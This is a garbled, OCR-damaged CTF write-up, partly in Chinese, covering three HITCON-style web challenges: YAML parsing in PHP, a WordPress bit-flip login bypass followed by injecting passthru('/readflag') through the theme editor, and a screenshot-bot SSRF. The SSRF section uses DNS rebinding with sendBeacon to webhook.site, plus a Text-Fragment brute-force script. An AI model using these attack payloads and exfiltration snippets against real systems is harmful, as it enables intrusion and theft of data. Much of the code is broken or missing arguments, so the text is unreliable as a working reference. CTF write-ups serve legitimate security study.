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0x01 Wa3rmup PHP

yaml_parse XA & $07E B 75 3O A R 2

It seams the YAML standard version here is the 1.1 and not the (1.2 released in 2009), so all of the following v
alues: y, Y, yes, Yes, YES, n, N, no, No, NO, true, True, TRUE, false, False, FALSE, on, On, ON, off, Off, OFF a

re confusingly at times interpreted as booleans.
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for ($i=0; $i < count($arr); $i++) {
if (!$arr[$i]) {
unset($arr[$i]);
continue;
¥
$arr[$i] = escapeshellarg($arr[$i]);
)i
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apt install libyaml-dev -y && pecl install yaml

apt install geoip-dev -y && pecl install geoip

echo "extension=yaml.so" >> /usr/local/etc/php/php.ini
echo "extension=geoip.so" >> /usr/local/etc/php/php.ini

0x02 One-Bit Man

Flip Position 5389 of " /var/www/html/wp-includes/user.php” to enable to logging in with wrong password.
. Access Thttp://XXX.XXX.XXX.XXX:yyyyy/wp-admin/~

Login with a username “admin’ . Random password like "a° will work thanks to step 1.
. Open "Theme Editor" in "Appearance".
. Add “passthru("/readflag");  to the PHP code in "header.php".
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import io, os, sys, uuid

from subprocess import run, PIPE

from hashlib import md5

from PIL import Image

from selenium import webdriver, common

from flask import Flask, render_template, request

], stdout=PIPE).stdout
.join(md5(secret).hexdigest())

iR chrome BMlR&xssHRT BT R

def init chrome():
options = webdriver.ChromeOptions()
options.add_argument ( )
options.add_argument(
options.add_argument(
options.add_argument(
options.add_experimental_option(




1)

driver = webdriver.Chrome(options=options)
driver.set page load_timeout(5)
driver.set_script_timeout(5)

return driver

message(msg) :

return render_template( , msg=msg)

driver init_chrome()

app Flask(__name_ )

@app.route(
def flag():
if request.remote_addr
return message(FLAG)

return message(

@app.route( , methods=][ D)
def index():
return render_template(

@app.route( , methods=[ D)

uuid.uuid4().

if not url.startswith( ) and not url.startswith(
return message(msg )

driver ViRI%Kurl IEREMER— 1 Pngik[E
#—RM dns rebinding?
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driver.get(url)
data = driver.get_screenshot_as_png()

except common.exceptions.WebDriverException as e:
return message(msg D))

img = Image. (io.BytesIO(data))
img = img.resize((64,64), resample=Image.BILINEAR)
img = img.resize((1920,1080), Image.NEAREST)
img.save(path)
return message(msg=path)

else:
return message(msg

if _ name_ :
app.run( , 8000)

Y#iHl: 192.168.76.1

H#x: http:/192.168.76.128:8000/

JUAN% 3% rebinding i 3%




https://requestrepo.com/
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dem@.n2upkegd.requestrepo.com
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\Desktop\a>python3 —m http. server 80
dem@.n2upkegd.requestrepo.com
\Desktop\a>python —m http. server 80
;1 port 80 (http: : ) ..
3/Dec/2021 105:1 code 404, message File not found
5:2 code 404, message File not found
“GET /robots. txt HTTP/1.1”7 404 -
“GET /flag HTTP/1.1" 404 -
code 404, message File not found
“GET /favicon. ico
code 404, message = not found
“GET /flag HTTP/1.1” 404 -
code 404, message File not found
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< >
window.onload @) {
navigator.sendBeacon( ,frames[0@].docum
ent.documentElement.innerHTML)
}# navigator.sendBeacon() HIEW HTFIEEHTTPR b EEIE 7 1L KEIWebfk 55 5%
</ >
</ >
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<html>
<script>
const host = "http://9843a2a4.00000000.rbndr.us:8000";
let count = 0;

setInterval(function(){
if (count != 100) {
var req = new XMLHttpRequest();
reqg.open('GET', “${host}/flag , false);
reqg.send(null);
if(req.status == 200)
{
navigator.sendBeacon( https://webhook.site/<webhook id>", req.responseText)
}
count ++;
¥
}, 2000);
</script>
</html>
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< IDOCTYPE html>
<html>
<body>
<style>
.iframe-body-sty {

position: relative;
height: 1920px;
width: 920px;
background-color: red;

}

.iframe-body-sty > #iframe-shrink {

position: absolute;

transform: scale(15); //Kikiik154%
left: 6500px;//BEHEXNMLE ALERE
top: 2000px;//HE LT

}
</style>
<div class="iframe-body-sty">
<iframe
id="iframe-shrink"
src="http://127.0.0.1:8000/flag"
width="1920px"
height="920px"
scrolling="no"
></iframe>
</div>
</body>
</html>
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Text Fragments adds support for specifying a text snippet in the URL fragment. When navigating to a URL with

such a fragment, the user agent can quickly emphasise
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#:~:text=[prefix-, JtextStart[,textEnd][, -suffix]
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import requests,re

import hashlib

def get _file md5(file_name):

THE S HImd S
:param file name:

:return:

hashlib.md5()  #fI&Emd53t 4%
with open(file_name, 'rb') as fobj:
while True:
data = fobj.read(4096)
if not data:
break
m.update(data) #¥EHmd55t %

return m.hexdigest() #iR [Elmd 5%t 5
missUrl="http://192.168.76.128:12345/static/images/ccbebf8c293541d29b50b8746ff2cf46.png"
url = "http://192.168.76.128:12345/submit"
payload = "http://127.0.0.1:8000/flag#:~:text="
string = "0123456789%abcdef"
= "59562acafb6436ea5fdf660ec57dfocc”
= r'<a target="_blank" href="(.*?)">Your Vulpix</a>'
flag = "hitcon{"
for x in range(10000):
for y in string:
# print(requests.get(url+payload).text)
a = "http://192.168.76.128:12345/" + re.findall(pattern,requests.get(url,params={"url":payload+ flag
+ y}).text,re.S)[0]
with open("a.png","wb") as f:
f.write(requests.get(a).content)
if(md5_Sum == get file md5("a.png")):
continue
else:
flag = flag + y + "-"
print(flag)

type="
{
position: absolute;
transform: scale(15);
left: 8000px;
top: 2000px;

</ >
< id="
width="
height="
scrolling="no"></
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https://wicg.github.io/scroll-to-text-fragment/
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